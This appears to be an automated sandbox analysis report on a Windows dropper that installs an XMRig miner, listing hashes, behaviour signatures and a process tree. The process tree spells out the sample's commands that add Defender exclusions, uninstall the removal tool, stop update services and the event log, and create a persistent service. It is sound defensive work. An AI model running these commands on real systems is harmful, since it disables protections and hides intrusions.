Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    04-06-2024 01:51

General

  • Target

    c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe

  • Size

    2.8MB

  • MD5

    c313d79bb52d3dc1a0fdd298a6c47810

  • SHA1

    0acb3c5b6a6bd568656c7dc9f2bebaf0ea01207a

  • SHA256

    c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71

  • SHA512

    c937b08e72578c71d79387dbb625436e7381b784a8a3977a50cc758de8badfc57e8c566db135aa1e6f1ea01b682c4675302ee25c4f74e60238ca2c4714834a08

  • SSDEEP

    49152:VIf2lo986T2njmZHDIkduvYcg9/YyCBGQPDK2z3fANo7+VnAeRq8HBaegPzcxCnG:VIKdiZvdPf2DGQ7L3gR7HBaegPzcxCnG

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • UPX dump on OEP (original entry point) 13 IoCs
  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe
    "C:\Users\Admin\AppData\Local\Temp\c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Users\Admin\AppData\Roaming\123.exe
      "C:\Users\Admin\AppData\Roaming\123.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:2648
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Drops file in Windows directory
          PID:1500
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        3⤵
        • Launches sc.exe
        PID:1624
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        3⤵
        • Launches sc.exe
        PID:1492
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        3⤵
        • Launches sc.exe
        PID:852
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        3⤵
        • Launches sc.exe
        PID:2292
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        3⤵
        • Launches sc.exe
        PID:1936
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2944
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2748
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "NUOIJWEW"
        3⤵
        • Launches sc.exe
        PID:2240
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "NUOIJWEW" binpath= "C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe" start= "auto"
        3⤵
        • Launches sc.exe
        PID:584
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        3⤵
        • Launches sc.exe
        PID:3056
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "NUOIJWEW"
        3⤵
        • Launches sc.exe
        PID:3048
    • C:\Users\Admin\AppData\Roaming\svhost.exe
      "C:\Users\Admin\AppData\Roaming\svhost.exe"
      2⤵
      • Executes dropped EXE
      PID:2700
    • C:\Users\Admin\AppData\Roaming\4.exe
      "C:\Users\Admin\AppData\Roaming\4.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
  • C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
    C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2180
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:272
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:608
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1512
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:1348
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:292
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:896
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:572
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1148
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2196
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2152
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1632
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:2584
      • C:\Windows\system32\svchost.exe
        svchost.exe
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1684

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\4.EXE

      Filesize

      538KB

      MD5

      970679178944f2f1ab74d9fc317817b7

      SHA1

      00a14dcaa09462c29b210e0149e7945d87b88c1e

      SHA256

      7061f3d97ac28687798831bc212a42f0d58bdf6e8a2d15646314f1ba3575d33c

      SHA512

      049b8f16e8b3027ddd157dd35b7082f24263233d2ddc781378593725c1d096c6434bd84e6126a1ced1d7d581fdebd99d76df9cd0aa8fb96108fba17a2671e615

    • \Users\Admin\AppData\Roaming\123.exe

      Filesize

      2.5MB

      MD5

      b0601c9443dd3b7a6b02ee764791c9ad

      SHA1

      8ed01f29022ce752408bae7ff961edc06872413a

      SHA256

      52c8c92f79183a354c5ee59653426b0f97209c37eec39fe5077ef43666eaf8a1

      SHA512

      130dac47eb656f37f0a0df20c193768590788279e785fda9d7a92717cecaae9cb57c4a4740060265e83154c9d853bb952da1a2af0d1a9fb355b1da0aaa8b9a9c

    • \Users\Admin\AppData\Roaming\svhost.exe

      Filesize

      530KB

      MD5

      90212c985d978d490e394a941976c5ee

      SHA1

      31f546d1390e53760515482ecd719b6b008aca91

      SHA256

      ce51ed0339a350243bc1576fcfa76e1b589908055f24123c9816f0dc8bf8c22a

      SHA512

      18476b006e5fd5f620215d245b02bb069eefe9fe1a4691a3476a17733a8f2b240e58961b6ce162cf16aa274d5507a634b486ff620ae0787af4e21e9163baf64f

    • memory/1644-46-0x000000001B670000-0x000000001B952000-memory.dmp

      Filesize

      2.9MB

    • memory/1644-47-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

      Filesize

      32KB

    • memory/1684-73-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-66-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-78-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-77-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-64-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-65-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-70-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-71-0x0000000000330000-0x0000000000350000-memory.dmp

      Filesize

      128KB

    • memory/1684-74-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-67-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-69-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-68-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-72-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-76-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/1684-75-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2180-53-0x0000000019EE0000-0x000000001A1C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2180-54-0x00000000009D0000-0x00000000009D8000-memory.dmp

      Filesize

      32KB

    • memory/2584-56-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2584-57-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2584-62-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2584-58-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2584-59-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2584-55-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2700-41-0x0000000000F00000-0x0000000000F88000-memory.dmp

      Filesize

      544KB

    • memory/2788-40-0x0000000000B20000-0x0000000000BAC000-memory.dmp

      Filesize

      560KB